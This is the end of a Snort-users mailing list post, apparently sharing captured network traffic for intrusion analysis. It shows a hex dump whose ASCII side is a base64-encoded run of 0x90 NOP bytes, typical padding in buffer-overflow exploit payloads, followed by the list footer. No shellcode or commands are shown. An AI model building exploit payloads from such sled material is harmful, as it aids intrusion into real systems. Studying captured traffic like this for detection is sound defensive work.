180 : 47 6C 30 41 45 4A 43 51 6B 4A 43 51 6B 4A 43 51   Gl0AEJCQkJCQkJCQ
190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
560 : 6B 4A 43 51                                       kJCQ



-------------------------------------------------------
This SF.Net email is sponsored by: NEC IT Guy Games.  How far can you 
shotput
a projector? How fast can you ride your desk chair down the office luge 
track?
If you want to score the big prize, get to know the little guy. 
Play to win an NEC 61" plasma display: http://www.necitguy.com/?r 
_______________________________________________
Snort-users mailing list
Snort-users at lists.sourceforge.net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://lists.snort.org/pipermail/snort-users/attachments/20050611/e478d2b2/attachment.html>


More information about the Snort-users mailing list